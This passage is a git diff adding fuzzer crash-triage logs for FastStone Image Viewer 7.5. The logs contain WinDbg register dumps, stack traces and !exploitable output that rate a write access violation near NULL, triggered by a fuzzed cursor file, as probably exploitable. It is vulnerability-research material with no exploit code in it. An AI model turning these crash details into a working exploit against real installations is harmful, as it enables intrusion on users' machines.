ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..dd9c3e0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1510: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1510: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1510.904): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=0fd1efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.70154e-023 -8.70512e+024 -3.0155e+021 2.27217e-034 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00338000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00338000 bfed9877 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00338000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e58cdfe Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/12254/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b12087e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..80c8563 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13226/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1904: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1904: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1904.1a2c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.294640000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.87589e+011 9.44807e+008 -8.28671e-018 -1.13018e+006 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00256000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00256000 6764dcdd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00256000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 